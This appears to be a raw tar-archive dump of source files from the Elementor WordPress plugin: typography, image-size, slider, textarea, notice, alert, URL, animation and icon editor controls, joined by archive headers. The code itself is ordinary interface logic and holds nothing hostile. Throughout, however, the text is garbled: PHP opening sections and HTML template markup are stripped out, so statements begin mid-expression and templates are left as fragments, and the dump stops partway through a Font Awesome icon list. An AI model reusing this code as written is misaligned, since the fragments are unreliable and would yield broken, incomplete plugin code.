'Typography Control', 'elementor' ), 'line-through' => esc_html_x( 'Line Through', 'Typography Control', 'elementor' ), 'none' => esc_html__( 'None', 'elementor' ), ], ]; $fields['line_height'] = [ 'label' => esc_html__( 'Line Height', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'desktop_default' => [ 'unit' => 'em', ], 'tablet_default' => [ 'unit' => 'em', ], 'mobile_default' => [ 'unit' => 'em', ], 'range' => [ 'px' => [ 'min' => 1, ], ], 'responsive' => true, 'size_units' => [ 'px', 'em', 'rem', 'custom' ], 'selector_value' => 'line-height: {{SIZE}}{{UNIT}}', ]; $fields['letter_spacing'] = [ 'label' => esc_html__( 'Letter Spacing', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', 'em', 'rem', 'custom' ], 'range' => [ 'px' => [ 'min' => -5, 'max' => 10, 'step' => 0.1, ], 'em' => [ 'min' => 0, 'max' => 1, 'step' => 0.01, ], 'rem' => [ 'min' => 0, 'max' => 1, 'step' => 0.01, ], ], 'responsive' => true, 'selector_value' => 'letter-spacing: {{SIZE}}{{UNIT}}', ]; $fields['word_spacing'] = [ 'label' => esc_html__( 'Word Spacing', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', 'em', 'rem', 'custom' ], 'range' => [ 'px' => [ 'max' => 50, ], 'em' => [ 'min' => 0, 'max' => 5, ], 'rem' => [ 'min' => 0, 'max' => 5, ], ], 'desktop_default' => [ 'unit' => 'em', ], 'tablet_default' => [ 'unit' => 'em', ], 'mobile_default' => [ 'unit' => 'em', ], 'responsive' => true, 'selector_value' => 'word-spacing: {{SIZE}}{{UNIT}}', ]; return $fields; } private function add_font_variables_fields( $fields ): array { $font_variables = $this->get_font_variables(); if ( empty( $font_variables ) ) { return $fields; } $font_variables_conditions = [ 'weight' => [], 'width' => [], ]; foreach ( $font_variables as $font => $variables ) { foreach ( array_keys( $font_variables_conditions ) as $variable ) { if ( in_array( $variable, $variables ) ) { $font_variables_conditions[ $variable ][] = $font; } } } if ( ! empty( $font_variables_conditions['weight'] ) ) { $fields['weight'] = [ 'label' => esc_html_x( 'Weight', 'Typography Control', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'range' => [ 'px' => [ 'min' => 1, 'max' => 1000, ], ], 'condition' => [ 'font_family' => $font_variables_conditions['weight'], ], 'responsive' => true, 'selector_value' => 'font-weight: {{SIZE}};', ]; $fields['font_weight']['condition'] = [ 'font_family!' => $font_variables_conditions['weight'], ]; } if ( ! empty( $font_variables_conditions['width'] ) ) { $fields['width'] = [ 'label' => esc_html_x( 'Width', 'Typography Control', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'range' => [ 'px' => [ 'min' => 0, 'max' => 150, ], ], 'condition' => [ 'font_family' => $font_variables_conditions['width'], ], 'responsive' => true, 'selector_value' => 'font-stretch: {{SIZE}}%;', ]; } $fields['font_style']['condition'] = [ 'font_family!' => array_keys( $font_variables ), ]; return $fields; } private function get_font_variables() { static $font_variables = null; if ( null === $font_variables ) { $font_variables = apply_filters( 'elementor/typography/font_variables', [] ); } return $font_variables; } public static function get_font_variable_ranges() { return apply_filters( 'elementor/typography/font_variable_ranges', [] ); } /** * Prepare fields. * * Process typography control fields before adding them to `add_control()`. * * @since 1.2.3 * @access protected * * @param array $fields Typography control fields. * * @return array Processed fields. */ protected function prepare_fields( $fields ) { array_walk( $fields, function( &$field, $field_name ) { if ( in_array( $field_name, [ 'typography', 'popover_toggle' ] ) ) { return; } $selector_value = ! empty( $field['selector_value'] ) ? $field['selector_value'] : str_replace( '_', '-', $field_name ) . ': {{VALUE}};'; $field['selectors'] = [ '{{SELECTOR}}' => $selector_value, ]; } ); return parent::prepare_fields( $fields ); } /** * Add group arguments to field. * * Register field arguments to typography control. * * @since 1.2.2 * @access protected * * @param string $control_id Typography control id. * @param array $field_args Typography control field arguments. * * @return array Field arguments. */ protected function add_group_args_to_field( $control_id, $field_args ) { $field_args = parent::add_group_args_to_field( $control_id, $field_args ); $field_args['groupPrefix'] = $this->get_controls_prefix(); $field_args['groupType'] = 'typography'; $args = $this->get_args(); if ( in_array( $control_id, self::get_scheme_fields_keys() ) && ! empty( $args['scheme'] ) ) { $field_args['scheme'] = [ 'type' => self::get_type(), 'value' => $args['scheme'], 'key' => $control_id, ]; } return $field_args; } /** * Get default options. * * Retrieve the default options of the typography control. Used to return the * default options while initializing the typography control. * * @since 1.9.0 * @access protected * * @return array Default typography control options. */ protected function get_default_options() { return [ 'popover' => [ 'starter_name' => 'typography', 'starter_title' => esc_html__( 'Typography', 'elementor' ), 'settings' => [ 'render_type' => 'ui', 'groupType' => 'typography', 'global' => [ 'active' => true, ], ], ], ]; } } includes/controls/groups/image-size.php000064400000026027147206604650014320 0ustar00frontend->is_static_render_mode(); // On static mode don't use WP responsive images. if ( ! empty( $image['id'] ) && in_array( $size, $image_sizes ) && ! $is_static_render_mode ) { $image_class .= " attachment-$size size-$size wp-image-{$image['id']}"; $image_attr = [ 'class' => trim( $image_class ), ]; $html .= wp_get_attachment_image( $image['id'], $size, false, $image_attr ); } else { $image_src = self::get_attachment_image_src( $image['id'], $image_size_key, $settings ); if ( ! $image_src && isset( $image['url'] ) ) { $image_src = $image['url']; } if ( ! empty( $image_src ) ) { $image_class_html = ! empty( $image_class ) ? ' class="' . esc_attr( $image_class ) . '"' : ''; $html .= sprintf( '%3$s', esc_url( $image_src ), esc_attr( Control_Media::get_image_title( $image ) ), esc_attr( Control_Media::get_image_alt( $image ) ), $image_class_html ); } } /** * Get Attachment Image HTML * * Filters the Attachment Image HTML * * @since 2.4.0 * @param string $html the attachment image HTML string * @param array $settings Control settings. * @param string $image_size_key Optional. Settings key for image size. * Default is `image`. * @param string $image_key Optional. Settings key for image. Default * is null. If not defined uses image size key * as the image key. */ return apply_filters( 'elementor/image_size/get_attachment_image_html', $html, $settings, $image_size_key, $image_key ); } /** * Safe print attachment image HTML. * * @uses get_attachment_image_html. * * @access public * @static * * @param array $settings Control settings. * @param string $image_size_key Optional. Settings key for image size. * Default is `image`. * @param string $image_key Optional. Settings key for image. Default * is null. If not defined uses image size key * as the image key. */ public static function print_attachment_image_html( array $settings, $image_size_key = 'image', $image_key = null ) { Utils::print_wp_kses_extended( self::get_attachment_image_html( $settings, $image_size_key, $image_key ), [ 'image' ] ); } /** * Get all image sizes. * * Retrieve available image sizes with data like `width`, `height` and `crop`. * * @since 1.0.0 * @access public * @static * * @return array An array of available image sizes. */ public static function get_all_image_sizes() { global $_wp_additional_image_sizes; $default_image_sizes = [ 'thumbnail', 'medium', 'medium_large', 'large' ]; $image_sizes = []; foreach ( $default_image_sizes as $size ) { $image_sizes[ $size ] = [ 'width' => (int) get_option( $size . '_size_w' ), 'height' => (int) get_option( $size . '_size_h' ), 'crop' => (bool) get_option( $size . '_crop' ), ]; } if ( $_wp_additional_image_sizes ) { $image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes ); } /** This filter is documented in wp-admin/includes/media.php */ return apply_filters( 'image_size_names_choose', $image_sizes ); } /** * Get attachment image src. * * Retrieve the attachment image source URL. * * @since 1.0.0 * @access public * @static * * @param string $attachment_id The attachment ID. * @param string $image_size_key Settings key for image size. * @param array $settings Control settings. * * @return string Attachment image source URL. */ public static function get_attachment_image_src( $attachment_id, $image_size_key, array $settings ) { if ( empty( $attachment_id ) ) { return false; } $size = $settings[ $image_size_key . '_size' ]; if ( 'custom' !== $size ) { $attachment_size = $size; } else { // Use BFI_Thumb script // TODO: Please rewrite this code. require_once ELEMENTOR_PATH . 'includes/libraries/bfi-thumb/bfi-thumb.php'; $custom_dimension = $settings[ $image_size_key . '_custom_dimension' ]; $attachment_size = [ // Defaults sizes 0 => null, // Width. 1 => null, // Height. 'bfi_thumb' => true, 'crop' => true, ]; $has_custom_size = false; if ( ! empty( $custom_dimension['width'] ) ) { $has_custom_size = true; $attachment_size[0] = $custom_dimension['width']; } if ( ! empty( $custom_dimension['height'] ) ) { $has_custom_size = true; $attachment_size[1] = $custom_dimension['height']; } if ( ! $has_custom_size ) { $attachment_size = 'full'; } } $image_src = wp_get_attachment_image_src( $attachment_id, $attachment_size ); if ( empty( $image_src[0] ) && 'thumbnail' !== $attachment_size ) { $image_src = wp_get_attachment_image_src( $attachment_id ); } return ! empty( $image_src[0] ) ? $image_src[0] : ''; } /** * Get child default arguments. * * Retrieve the default arguments for all the child controls for a specific group * control. * * @since 1.2.2 * @access protected * * @return array Default arguments for all the child controls. */ protected function get_child_default_args() { return [ 'include' => [], 'exclude' => [], ]; } /** * Init fields. * * Initialize image size control fields. * * @since 1.2.2 * @access protected * * @return array Control fields. */ protected function init_fields() { $fields = []; $fields['size'] = [ 'label' => esc_html__( 'Image Resolution', 'elementor' ), 'type' => Controls_Manager::SELECT, ]; $fields['custom_dimension'] = [ 'label' => esc_html__( 'Image Dimension', 'elementor' ), 'type' => Controls_Manager::IMAGE_DIMENSIONS, 'description' => esc_html__( 'You can crop the original image size to any custom size. You can also set a single value for height or width in order to keep the original size ratio.', 'elementor' ), 'condition' => [ 'size' => 'custom', ], ]; return $fields; } /** * Prepare fields. * * Process image size control fields before adding them to `add_control()`. * * @since 1.2.2 * @access protected * * @param array $fields Image size control fields. * * @return array Processed fields. */ protected function prepare_fields( $fields ) { $image_sizes = $this->get_image_sizes(); $args = $this->get_args(); if ( ! empty( $args['default'] ) && isset( $image_sizes[ $args['default'] ] ) ) { $default_value = $args['default']; } else { // Get the first item for default value. $default_value = array_keys( $image_sizes ); $default_value = array_shift( $default_value ); } $fields['size']['options'] = $image_sizes; $fields['size']['default'] = $default_value; if ( ! isset( $image_sizes['custom'] ) ) { unset( $fields['custom_dimension'] ); } return parent::prepare_fields( $fields ); } /** * Get image sizes. * * Retrieve available image sizes after filtering `include` and `exclude` arguments. * * @since 2.0.0 * @access private * * @return array Filtered image sizes. */ private function get_image_sizes() { $wp_image_sizes = self::get_all_image_sizes(); $args = $this->get_args(); if ( $args['include'] ) { $wp_image_sizes = array_intersect_key( $wp_image_sizes, array_flip( $args['include'] ) ); } elseif ( $args['exclude'] ) { $wp_image_sizes = array_diff_key( $wp_image_sizes, array_flip( $args['exclude'] ) ); } $image_sizes = []; foreach ( $wp_image_sizes as $size_key => $size_attributes ) { $control_title = ucwords( str_replace( '_', ' ', $size_key ) ); if ( is_array( $size_attributes ) ) { $control_title .= sprintf( ' - %d x %d', $size_attributes['width'], $size_attributes['height'] ); } $image_sizes[ $size_key ] = $control_title; } $image_sizes['full'] = esc_html__( 'Full', 'elementor' ); if ( ! empty( $args['include']['custom'] ) || ! in_array( 'custom', $args['exclude'] ) ) { $image_sizes['custom'] = esc_html__( 'Custom', 'elementor' ); } return $image_sizes; } /** * Get default options. * * Retrieve the default options of the image size control. Used to return the * default options while initializing the image size control. * * @since 1.9.0 * @access protected * * @return array Default image size control options. */ protected function get_default_options() { return [ 'popover' => false, ]; } } includes/controls/button.php000064400000003266147206604650012262 0ustar00 '', 'event' => '', 'button_type' => 'default', ]; } /** * Render button control output in the editor. * * Used to generate the control HTML in the editor using Underscore JS * template. The variables for the class are available using `data` JS * object. * * @since 1.9.0 * @access public */ public function content_template() { ?>
<# if ( data.description ) { #>
{{{ data.description }}}
<# } #> '', 'sizes' => [], ] ); } /** * Get slider control default settings. * * Retrieve the default settings of the slider control. Used to return the * default settings while initializing the slider control. * * @since 1.0.0 * @access protected * * @return array Control default settings. */ protected function get_default_settings() { return array_merge( parent::get_default_settings(), [ 'label_block' => true, 'labels' => [], 'scales' => 0, 'handles' => 'default', 'dynamic' => [ 'categories' => [ TagsModule::NUMBER_CATEGORY ], 'property' => 'size', ], ] ); } /** * Render slider control output in the editor. * * Used to generate the control HTML in the editor using Underscore JS * template. The variables for the class are available using `data` JS * object. * * @since 1.0.0 * @access public */ public function content_template() { ?>
print_units_template(); ?>
<# if ( isMultiple && ( data.labels.length || data.scales ) ) { #>
<# if ( data.labels.length ) { #>
<# jQuery.each( data.labels, ( index, label ) => { #>
{{{ label }}}
<# } ); #>
<# } if ( data.scales ) { #>
<# for ( var i = 0; i < data.scales; i++ ) { #>
<# } #>
<# } #>
<# } #>
<# if ( ! isMultiple ) { #>
<# } #>
<# if ( data.description ) { #>
{{{ data.description }}}
<# } #> start_controls_section()` * and `$widget->end_controls_section()` to wrap a set of controls. * * @since 1.0.0 */ class Control_Section extends Base_UI_Control { /** * Get section control type. * * Retrieve the control type, in this case `section`. * * @since 1.0.0 * @access public * * @return string Control type. */ public function get_type() { return 'section'; } /** * Render section control output in the editor. * * Used to generate the control HTML in the editor using Underscore JS * template. The variables for the class are available using `data` JS * object. * * @since 1.0.0 * @access public */ public function content_template() { ?> '', 'max' => '', 'step' => '', 'placeholder' => '', 'title' => '', 'dynamic' => [ 'categories' => [ TagsModule::NUMBER_CATEGORY ], ], ]; } /** * Render number control output in the editor. * * Used to generate the control HTML in the editor using Underscore JS * template. The variables for the class are available using `data` JS * object. * * @since 1.0.0 * @access public */ public function content_template() { ?>
<# if ( data.description ) { #>
{{{ data.description }}}
<# } #>
Loading..
true, 'rows' => 5, 'placeholder' => '', 'ai' => [ 'active' => true, 'type' => 'textarea', ], 'dynamic' => [ 'categories' => [ TagsModule::TEXT_CATEGORY ], ], ]; } /** * Render textarea control output in the editor. * * Used to generate the control HTML in the editor using Underscore JS * template. The variables for the class are available using `data` JS * object. * * @since 1.0.0 * @access public */ public function content_template() { ?>
<# if ( data.description ) { #>
{{{ data.description }}}
<# } #> <# if ( ! data.shouldRenderNotice ) { return; } const validNoticeTypes = [ 'info', 'success', 'warning', 'danger' ]; const showIcon = validNoticeTypes.includes( data.notice_type ); data.content = elementor.compileTemplate( data.content, { view } ); #>
<# if ( showIcon && data.icon ) { #>
<# } #>
<# if ( data.heading ) { #>
{{{ data.heading }}}
<# } #> <# if ( data.content ) { #>
{{{ data.content }}}
<# } #> <# if ( data.button_text || data.button_text2 ) { #>
<# if ( data.button_text || data.button_event ) { #> <# } #> <# if ( data.button_text2 || data.button_event2 ) { #> <# } #>
<# } #>
<# if ( data.dismissible ) { #> <# } #>
'', // info, success, warning, danger 'icon' => true, 'dismissible' => false, 'heading' => '', 'content' => '', 'button_text' => '', 'button_event' => '', 'button_text2' => '', 'button_event2' => '', ]; } } includes/controls/animation.php000064400000011406147206604650012721 0ustar00 [ 'fadeIn' => 'Fade In', 'fadeInDown' => 'Fade In Down', 'fadeInLeft' => 'Fade In Left', 'fadeInRight' => 'Fade In Right', 'fadeInUp' => 'Fade In Up', ], 'Zooming' => [ 'zoomIn' => 'Zoom In', 'zoomInDown' => 'Zoom In Down', 'zoomInLeft' => 'Zoom In Left', 'zoomInRight' => 'Zoom In Right', 'zoomInUp' => 'Zoom In Up', ], 'Bouncing' => [ 'bounceIn' => 'Bounce In', 'bounceInDown' => 'Bounce In Down', 'bounceInLeft' => 'Bounce In Left', 'bounceInRight' => 'Bounce In Right', 'bounceInUp' => 'Bounce In Up', ], 'Sliding' => [ 'slideInDown' => 'Slide In Down', 'slideInLeft' => 'Slide In Left', 'slideInRight' => 'Slide In Right', 'slideInUp' => 'Slide In Up', ], 'Rotating' => [ 'rotateIn' => 'Rotate In', 'rotateInDownLeft' => 'Rotate In Down Left', 'rotateInDownRight' => 'Rotate In Down Right', 'rotateInUpLeft' => 'Rotate In Up Left', 'rotateInUpRight' => 'Rotate In Up Right', ], 'Attention Seekers' => [ 'bounce' => 'Bounce', 'flash' => 'Flash', 'pulse' => 'Pulse', 'rubberBand' => 'Rubber Band', 'shake' => 'Shake', 'headShake' => 'Head Shake', 'swing' => 'Swing', 'tada' => 'Tada', 'wobble' => 'Wobble', 'jello' => 'Jello', ], 'Light Speed' => [ 'lightSpeedIn' => 'Light Speed In', ], 'Specials' => [ 'rollIn' => 'Roll In', ], ]; } /** * Render animations control template. * * Used to generate the control HTML in the editor using Underscore JS * template. The variables for the class are available using `data` JS * object. * * @since 1.0.0 * @access public */ public function content_template() { ?>
<# if ( data.description ) { #>
{{{ data.description }}}
<# } #> [ 'e-animation-' . $setting ], ]; } } includes/controls/choose.php000064400000004333147206604650012223 0ustar00
<# _.each( data.options, function( options, value ) { #> <# } ); #>
<# if ( data.description ) { #>
{{{ data.description }}}
<# } #> [], 'toggle' => true, ]; } } includes/controls/base.php000064400000006122147206604650011653 0ustar00 '', 'description' => '', 'show_label' => true, 'label_block' => false, 'separator' => 'default', ]; /** * Get features. * * Retrieve the list of all the available features. Currently Elementor uses only * the `UI` feature. * * @since 1.5.0 * @access public * @static * * @return array Features array. */ public static function get_features() { return []; } /** * Get control type. * * Retrieve the control type. * * @since 1.5.0 * @access public * @abstract */ abstract public function get_type(); /** * Control base constructor. * * Initializing the control base class. * * @since 1.5.0 * @access public */ public function __construct() { $this->set_settings( array_merge( $this->_base_settings, $this->get_default_settings() ) ); $this->set_settings( 'features', static::get_features() ); } /** * Enqueue control scripts and styles. * * Used to register and enqueue custom scripts and styles used by the control. * * @since 1.5.0 * @access public */ public function enqueue() {} /** * Control content template. * * Used to generate the control HTML in the editor using Underscore JS * template. The variables for the class are available using `data` JS * object. * * Note that the content template is wrapped by Base_Control::print_template(). * * @since 1.5.0 * @access public * @abstract */ abstract public function content_template(); /** * Print control template. * * Used to generate the control HTML in the editor using Underscore JS * template. The variables for the class are available using `data` JS * object. * * @since 1.5.0 * @access public */ final public function print_template() { ?> '', 'height' => '', ]; } /** * Get image dimensions control default settings. * * Retrieve the default settings of the image dimensions control. Used to return * the default settings while initializing the image dimensions control. * * @since 1.0.0 * @access protected * * @return array Control default settings. */ protected function get_default_settings() { return [ 'show_label' => false, 'label_block' => true, ]; } /** * Render image dimensions control output in the editor. * * Used to generate the control HTML in the editor using Underscore JS * template. The variables for the class are available using `data` JS * object. * * @since 1.0.0 * @access public */ public function content_template() { if ( ! $this->is_image_editor_supports() ) : ?>
<# if ( data.description ) { #>
{{{ data.description }}}
<# } #>
x
'image/jpeg', ]; return ( wp_image_editor_supports( $arg ) ); } } includes/controls/divider.php000064400000001475147206604650012375 0ustar00start_controls_tabs()` * and in the end `$widget->end_controls_tabs()`. * * @since 1.0.0 */ class Control_Tabs extends Base_UI_Control { /** * Get tabs control type. * * Retrieve the control type, in this case `tabs`. * * @since 1.0.0 * @access public * * @return string Control type. */ public function get_type() { return 'tabs'; } /** * Render tabs control output in the editor. * * Used to generate the control HTML in the editor using Underscore JS * template. The variables for the class are available using `data` JS * object. * * @since 1.0.0 * @access public */ public function content_template() {} } includes/controls/tab.php000064400000002006147206604650011504 0ustar00start_controls_tab()` * and in the end `$widget->end_controls_tab()`. * * @since 1.0.0 */ class Control_Tab extends Base_UI_Control { /** * Get tab control type. * * Retrieve the control type, in this case `tab`. * * @since 1.0.0 * @access public * * @return string Control type. */ public function get_type() { return 'tab'; } /** * Render tab control output in the editor. * * Used to generate the control HTML in the editor using Underscore JS * template. The variables for the class are available using `data` JS * object. * * @since 1.0.0 * @access public */ public function content_template() { ?>
{{{ data.label }}}
{{{ data.label }}}
<# if ( data.description ) { #>
{{{ data.description }}}
<# } #> true, 'ai' => [ 'active' => true, 'type' => 'textarea', ], 'dynamic' => [ 'active' => true, 'categories' => [ TagsModule::TEXT_CATEGORY ], ], ]; } } includes/controls/alert.php000064400000003456147206604650012057 0ustar00 <# const validAlertTypes = [ 'info', 'success', 'warning', 'danger' ]; if ( ! validAlertTypes.includes( data.alert_type ) ) { data.alert_type = 'info'; } data.content = elementor.compileTemplate( data.content, { view } ); #>
<# if ( data.heading ) { #>
{{{ data.heading }}}
<# } #> <# if ( data.content ) { #>
{{{ data.content }}}
<# } #>
'', // info, success, warning, danger. 'heading' => '', 'content' => '', ]; } } includes/controls/url.php000064400000012177147206604650011552 0ustar00 '', 'is_external' => '', 'nofollow' => '', 'custom_attributes' => '', ]; } /** * Get url control default settings. * * Retrieve the default settings of the url control. Used to return the default * settings while initializing the url control. * * @since 1.0.0 * @access protected * * @return array Control default settings. */ protected function get_default_settings() { return [ 'label_block' => true, 'placeholder' => esc_html__( 'Paste URL or type', 'elementor' ), 'autocomplete' => true, 'options' => [ 'is_external', 'nofollow', 'custom_attributes' ], 'dynamic' => [ 'categories' => [ TagsModule::URL_CATEGORY ], 'property' => 'url', ], 'custom_attributes_description' => sprintf( '%1$s %2$s', esc_html__( 'Set custom attributes for the link element. Separate attribute keys from values using the | (pipe) character. Separate key-value pairs with a comma.', 'elementor' ), esc_html__( 'Learn more', 'elementor' ) ), ]; } /** * Render url control output in the editor. * * Used to generate the control HTML in the editor using Underscore JS * template. The variables for the class are available using `data` JS * object. * * @since 1.0.0 * @access public */ public function content_template() { ?>
<# if ( !! data.options ) { #> <# } #>
<# if ( !! data.options ) { #>
<# if ( ( data.options && -1 !== data.options.indexOf( 'custom_attributes' ) ) && data.custom_attributes_description ) { #>
{{{ data.custom_attributes_description }}}
<# } #>
<# } #>
<# if ( data.description ) { #>
{{{ data.description }}}
<# } #> '', 'row' => '', 'isLinked' => true, 'unit' => 'px', ]; } public function get_singular_name() { return 'gap'; } protected function get_dimensions() { return [ 'column' => esc_html__( 'Column', 'elementor' ), 'row' => esc_html__( 'Row', 'elementor' ), ]; } public function get_value( $control, $settings ) { $value = parent::get_value( $control, $settings ); // BC for any old Slider control values. if ( $this->should_update_gaps_values( $value ) ) { $value['column'] = strval( $value['size'] ); $value['row'] = strval( $value['size'] ); } return $value; } private function should_update_gaps_values( $value ) { return isset( $value['size'] ) && '' !== $value['size'] && '' === $value['column']; } } includes/controls/icon.php000064400000076515147206604650011706 0ustar00 '500px', 'fa fa-address-book' => 'address-book', 'fa fa-address-book-o' => 'address-book-o', 'fa fa-address-card' => 'address-card', 'fa fa-address-card-o' => 'address-card-o', 'fa fa-adjust' => 'adjust', 'fa fa-adn' => 'adn', 'fa fa-align-center' => 'align-center', 'fa fa-align-justify' => 'align-justify', 'fa fa-align-left' => 'align-left', 'fa fa-align-right' => 'align-right', 'fa fa-amazon' => 'amazon', 'fa fa-ambulance' => 'ambulance', 'fa fa-american-sign-language-interpreting' => 'american-sign-language-interpreting', 'fa fa-anchor' => 'anchor', 'fa fa-android' => 'android', 'fa fa-angellist' => 'angellist', 'fa fa-angle-double-down' => 'angle-double-down', 'fa fa-angle-double-left' => 'angle-double-left', 'fa fa-angle-double-right' => 'angle-double-right', 'fa fa-angle-double-up' => 'angle-double-up', 'fa fa-angle-down' => 'angle-down', 'fa fa-angle-left' => 'angle-left', 'fa fa-angle-right' => 'angle-right', 'fa fa-angle-up' => 'angle-up', 'fa fa-apple' => 'apple', 'fa fa-archive' => 'archive', 'fa fa-area-chart' => 'area-chart', 'fa fa-arrow-circle-down' => 'arrow-circle-down', 'fa fa-arrow-circle-left' => 'arrow-circle-left', 'fa fa-arrow-circle-o-down' => 'arrow-circle-o-down', 'fa fa-arrow-circle-o-left' => 'arrow-circle-o-left', 'fa fa-arrow-circle-o-right' => 'arrow-circle-o-right', 'fa fa-arrow-circle-o-up' => 'arrow-circle-o-up', 'fa fa-arrow-circle-right' => 'arrow-circle-right', 'fa fa-arrow-circle-up' => 'arrow-circle-up', 'fa fa-arrow-down' => 'arrow-down', 'fa fa-arrow-left' => 'arrow-left', 'fa fa-arrow-right' => 'arrow-right', 'fa fa-arrow-up' => 'arrow-up', 'fa fa-arrows' => 'arrows', 'fa fa-arrows-alt' => 'arrows-alt', 'fa fa-arrows-h' => 'arrows-h', 'fa fa-arrows-v' => 'arrows-v', 'fa fa-asl-interpreting' => 'asl-interpreting', 'fa fa-assistive-listening-systems' => 'assistive-listening-systems', 'fa fa-asterisk' => 'asterisk', 'fa fa-at' => 'at', 'fa fa-audio-description' => 'audio-description', 'fa fa-automobile' => 'automobile', 'fa fa-backward' => 'backward', 'fa fa-balance-scale' => 'balance-scale', 'fa fa-ban' => 'ban', 'fa fa-bandcamp' => 'bandcamp', 'fa fa-bank' => 'bank', 'fa fa-bar-chart' => 'bar-chart', 'fa fa-bar-chart-o' => 'bar-chart-o', 'fa fa-barcode' => 'barcode', 'fa fa-bars' => 'bars', 'fa fa-bath' => 'bath', 'fa fa-bathtub' => 'bathtub', 'fa fa-battery' => 'battery', 'fa fa-battery-0' => 'battery-0', 'fa fa-battery-1' => 'battery-1', 'fa fa-battery-2' => 'battery-2', 'fa fa-battery-3' => 'battery-3', 'fa fa-battery-4' => 'battery-4', 'fa fa-battery-empty' => 'battery-empty', 'fa fa-battery-full' => 'battery-full', 'fa fa-battery-half' => 'battery-half', 'fa fa-battery-quarter' => 'battery-quarter', 'fa fa-battery-three-quarters' => 'battery-three-quarters', 'fa fa-bed' => 'bed', 'fa fa-beer' => 'beer', 'fa fa-behance' => 'behance', 'fa fa-behance-square' => 'behance-square', 'fa fa-bell' => 'bell', 'fa fa-bell-o' => 'bell-o', 'fa fa-bell-slash' => 'bell-slash', 'fa fa-bell-slash-o' => 'bell-slash-o', 'fa fa-bicycle' => 'bicycle', 'fa fa-binoculars' => 'binoculars', 'fa fa-birthday-cake' => 'birthday-cake', 'fa fa-bitbucket' => 'bitbucket', 'fa fa-bitbucket-square' => 'bitbucket-square', 'fa fa-bitcoin' => 'bitcoin', 'fa fa-black-tie' => 'black-tie', 'fa fa-blind' => 'blind', 'fa fa-bluetooth' => 'bluetooth', 'fa fa-bluetooth-b' => 'bluetooth-b', 'fa fa-bold' => 'bold', 'fa fa-bolt' => 'bolt', 'fa fa-bomb' => 'bomb', 'fa fa-book' => 'book', 'fa fa-bookmark' => 'bookmark', 'fa fa-bookmark-o' => 'bookmark-o', 'fa fa-braille' => 'braille', 'fa fa-briefcase' => 'briefcase', 'fa fa-btc' => 'btc', 'fa fa-bug' => 'bug', 'fa fa-building' => 'building', 'fa fa-building-o' => 'building-o', 'fa fa-bullhorn' => 'bullhorn', 'fa fa-bullseye' => 'bullseye', 'fa fa-bus' => 'bus', 'fa fa-buysellads' => 'buysellads', 'fa fa-cab' => 'cab', 'fa fa-calculator' => 'calculator', 'fa fa-calendar' => 'calendar', 'fa fa-calendar-check-o' => 'calendar-check-o', 'fa fa-calendar-minus-o' => 'calendar-minus-o', 'fa fa-calendar-o' => 'calendar-o', 'fa fa-calendar-plus-o' => 'calendar-plus-o', 'fa fa-calendar-times-o' => 'calendar-times-o', 'fa fa-camera' => 'camera', 'fa fa-camera-retro' => 'camera-retro', 'fa fa-car' => 'car', 'fa fa-caret-down' => 'caret-down', 'fa fa-caret-left' => 'caret-left', 'fa fa-caret-right' => 'caret-right', 'fa fa-caret-square-o-down' => 'caret-square-o-down', 'fa fa-caret-square-o-left' => 'caret-square-o-left', 'fa fa-caret-square-o-right' => 'caret-square-o-right', 'fa fa-caret-square-o-up' => 'caret-square-o-up', 'fa fa-caret-up' => 'caret-up', 'fa fa-cart-arrow-down' => 'cart-arrow-down', 'fa fa-cart-plus' => 'cart-plus', 'fa fa-cc' => 'cc', 'fa fa-cc-amex' => 'cc-amex', 'fa fa-cc-diners-club' => 'cc-diners-club', 'fa fa-cc-discover' => 'cc-discover', 'fa fa-cc-jcb' => 'cc-jcb', 'fa fa-cc-mastercard' => 'cc-mastercard', 'fa fa-cc-paypal' => 'cc-paypal', 'fa fa-cc-stripe' => 'cc-stripe', 'fa fa-cc-visa' => 'cc-visa', 'fa fa-certificate' => 'certificate', 'fa fa-chain' => 'chain', 'fa fa-chain-broken' => 'chain-broken', 'fa fa-check' => 'check', 'fa fa-check-circle' => 'check-circle', 'fa fa-check-circle-o' => 'check-circle-o', 'fa fa-check-square' => 'check-square', 'fa fa-check-square-o' => 'check-square-o', 'fa fa-chevron-circle-down' => 'chevron-circle-down', 'fa fa-chevron-circle-left' => 'chevron-circle-left', 'fa fa-chevron-circle-right' => 'chevron-circle-right', 'fa fa-chevron-circle-up' => 'chevron-circle-up', 'fa fa-chevron-down' => 'chevron-down', 'fa fa-chevron-left' => 'chevron-left', 'fa fa-chevron-right' => 'chevron-right', 'fa fa-chevron-up' => 'chevron-up', 'fa fa-child' => 'child', 'fa fa-chrome' => 'chrome', 'fa fa-circle' => 'circle', 'fa fa-circle-o' => 'circle-o', 'fa fa-circle-o-notch' => 'circle-o-notch', 'fa fa-circle-thin' => 'circle-thin', 'fa fa-clipboard' => 'clipboard', 'fa fa-clock-o' => 'clock-o', 'fa fa-clone' => 'clone', 'fa fa-close' => 'close', 'fa fa-cloud' => 'cloud', 'fa fa-cloud-download' => 'cloud-download', 'fa fa-cloud-upload' => 'cloud-upload', 'fa fa-cny' => 'cny', 'fa fa-code' => 'code', 'fa fa-code-fork' => 'code-fork', 'fa fa-codepen' => 'codepen', 'fa fa-codiepie' => 'codiepie', 'fa fa-coffee' => 'coffee', 'fa fa-cog' => 'cog', 'fa fa-cogs' => 'cogs', 'fa fa-columns' => 'columns', 'fa fa-comment' => 'comment', 'fa fa-comment-o' => 'comment-o', 'fa fa-commenting' => 'commenting', 'fa fa-commenting-o' => 'commenting-o', 'fa fa-comments' => 'comments', 'fa fa-comments-o' => 'comments-o', 'fa fa-compass' => 'compass', 'fa fa-compress' => 'compress', 'fa fa-connectdevelop' => 'connectdevelop', 'fa fa-contao' => 'contao', 'fa fa-copy' => 'copy', 'fa fa-copyright' => 'copyright', 'fa fa-creative-commons' => 'creative-commons', 'fa fa-credit-card' => 'credit-card', 'fa fa-credit-card-alt' => 'credit-card-alt', 'fa fa-crop' => 'crop', 'fa fa-crosshairs' => 'crosshairs', 'fa fa-css3' => 'css3', 'fa fa-cube' => 'cube', 'fa fa-cubes' => 'cubes', 'fa fa-cut' => 'cut', 'fa fa-cutlery' => 'cutlery', 'fa fa-dashboard' => 'dashboard', 'fa fa-dashcube' => 'dashcube', 'fa fa-database' => 'database', 'fa fa-deaf' => 'deaf', 'fa fa-deafness' => 'deafness', 'fa fa-dedent' 